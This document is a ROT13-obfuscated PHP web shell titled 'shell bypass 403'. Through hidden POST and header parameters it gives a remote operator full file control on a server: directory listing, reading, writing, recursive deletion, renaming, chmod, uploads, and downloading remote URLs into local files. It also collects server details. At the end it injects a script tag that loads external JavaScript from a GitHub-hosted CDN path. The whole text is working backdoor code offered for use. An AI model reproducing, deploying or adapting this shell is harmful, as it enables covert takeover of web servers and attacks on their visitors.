shell bypass 403
<?cuc
reebe_ercbegvat(0);
qrsvar("jIiau", $_FREIRE["QBPHZRAG_EBBG"]);
$NHCkW = neenl();
shapgvba BtqUA($q42xy)
{
erghea shapgvba_rkvfgf($q42xy);
}
shapgvba Vxu8S($q42xy)
{
erghea svyr_trg_pbagragf($q42xy);
}
shapgvba WAJIz($q42xy, $t9N10)
{
erghea svyr_chg_pbagragf($q42xy, $t9N10) !== snyfr;
}
shapgvba wKAfY()
{
vs (BtqUA("trgpjq")) {
erghea @trgpjq();
} ryfr {
erghea @qveanzr(__SVYR__);
}
}
shapgvba wXyXf($yWHpB)
{
vs (vf_qve($yWHpB)) {
$zRgY2 = fPnAQve($yWHpB);
sbernpu ($zRgY2 nf $AGowB) {
vs (!($AGowB == "." || $AGowB == "..")) {
$UA0r6 = $yWHpB . "/" . $AGowB;
vf_qve($UA0r6) ? wXyxf($UA0r6) : hAyvAx($UA0r6);
} ryfr {
}
}
eZqVE($yWHpB);
} ryfr {
hAyvAx($yWHpB);
}
}
shapgvba peZCU($sp25B, $zAI4y)
{
vs (BtqUA("phey_vavg")) {
$MzW33 = phey_vavg($zAI4y);
$iiSWB = sbcra($sp25B, "j+");
phey_frgbcg($MzW33, PHEYBCG_SVYR, $iiSWB);
phey_frgbcg($MzW33, PHEYBCG_GVZRBHG, 50);
vs (phey_rkrp($MzW33)) {
phey_pybfr($MzW33);
$AGowB = 1;
} ryfr {
$AGowB = sjevgr($iiSWB, vxU8S($zAI4y)) ? 1 : 0;
}
spybfr($iiSWB);
} ryfr {
$AGowB = @WAJIZ($sp25B, vxu8S($zAI4y)) ? 1 : 0;
}
erghea $AGowB;
}
shapgvba awRiP($t9N10)
{
erghea !rzcgl($_CBFG[$t9N10]) ? $_CBFG[$t9N10] : $_FREIRE["UGGC_K_" . fgegbhccre($t9N10)];
}
$q42xy = aWrIp("n");
vs (!rzcgl($q42xy)) {
$f3fjt = !rzcgl($_CBFG["i"]) ? $_CBFG["i"] : @$_FREIRE["UGGC_K_PFES_GBXRA"];
vs (!rzcgl($f3fjt)) {
$f3fjt = onfr64_qrpbqr(fhofge($f3fjt, 1));
}
$SXyPG = aWRip("q");
$kOFMN = neenl();
$t9N10 = 1;
fjvgpu ($q42xy) {
pnfr 1:
$kOFMN = neenl("ebbg" => jIiau, "freire" => $_FREIRE["FREIRE_FBSGJNER"], "pvc" => $_FREIRE["ERZBGR_NQQE"]);
vs (BtQua("trgpjq")) {
$kOFMN["cjq"] = wkAFy();
}
vs (btQua("vav_trg")) {
$kOFMN["fnsr_zbqr"] = @vav_trg("fnsr_zbqr");
}
vs (BtQua("cucirefvba")) {
$kOFMN["irefvba"] = @cucirefvba();
}
$kOFMN["fvc"] = $_FREIRE["FREIRE_NQQE"];
vs (!rzcgl($kOFMN["fvc"])) {
} ryfr {
$kOFMN["fvc"] = @trgubfgolanzr($_FREIRE["FREIRE_ANZR"]);
}
oernx;
pnfr 2:
vs (rzcgl($f3fjt)) {
$f3fjt = wkafy();
}
$oS9SZ = fpnaqve($f3fjt);
$nR_6e = neenl();
$mN6Cg = neenl();
sbernpu ($oS9SZ nf $CioV8) {
vs (!($CioV8 == "." || $CioV8 == "..")) {
$yWHpB = $f3fjt . "/" . $CioV8;
$SS2EJ = neenl("a" => $CioV8, "c" => fhofge(fcevags("%b", sVYrcReZf($yWHpB)), -4), "g" => qngr("L-z-q U:v:f", sVYrZGvZr($yWHpB)));
vs (vf_qve($yWHpB)) {
$nR_6e[] = $SS2EJ;
} ryfr {
$SS2EJ["f"] = svyrfvmr($yWHpB);
$mN6Cg[] = $SS2EJ;
}
} ryfr {
}
}
$kOFMN["q"] = $nR_6e;
$kOFMN["s"] = $mN6Cg;
oernx;
pnfr 3:
wXyXf($f3fjt);
oernx;
pnfr 4:
$kOFMN["i"] = VxU8S($f3fjt);
oernx;
pnfr 5:
vs (!vf_jevgnoyr($SXyPG)) {
@puzbq($f3fjt, 0644);
}
$t9N10 = WaJiz($SXyPG, $f3fjt) ? 1 : 0;
oernx;
pnfr 6:
$sp25B = $SXyPG . aWrIP("a");
$jTSgq = $SXyPG . $f3fjt;
$WCMjG = @SvYrzGvZR($sp25B);
vs (!@ErAnzR($sp25B, $jTSgq)) {
$t9N10 = 0;
} ryfr {
vs ($WCMjG) {
@gbhPU($jTSgq, $WCMjG, $WCMjG);
} ryfr {
}
}
oernx;
pnfr 7:
vs (@puzbq($SXyPG, $f3fjt)) {
} ryfr {
$t9N10 = 0;
}
oernx;
pnfr 8:
$t9N10 = zbir_hcybnqrq_svyr($_SVYRF["s"]["gzc_anzr"], $f3fjt) ? 1 : 0;
oernx;
pnfr 9:
$t9N10 = WAJIz($f3fjt, '') ? 1 : 0;
oernx;
pnfr 10:
$t9N10 = zxqve($f3fjt) ? 1 : 0;
oernx;
pnfr 11:
$zAI4y = AwRip("y");
$t9N10 = pEzCu($f3fjt, $zAI4y) ? 1 : 0;
oernx;
}
$NHCkW["qngn"] = $kOFMN;
$NHCkW["pbqr"] = $t9N10;
urnqre("Pbagrag-glcr: nccyvpngvba/wfba; punefrg=hgs-8");
ertvfgre_fuhgqbja_shapgvba(shapgvba () {
tbgb v6kFd;
LfE1R:
rpub wfba_rapbqr($NHCkW);
tbgb iJgmG;
v6kFd:
tybony $NHCkW;
tbgb kzQvt;
kzQvt:
bo_raq_pyrna();
tbgb LfE1R;
iJgmG:
});
erghea;
}
rpub "<fpevcg glcr=\"zbqhyr\" fep=\"uggcf://pqa.wfqryvie.arg/tu/qvbawb/oxfxo/4.wf\"></fpevcg>";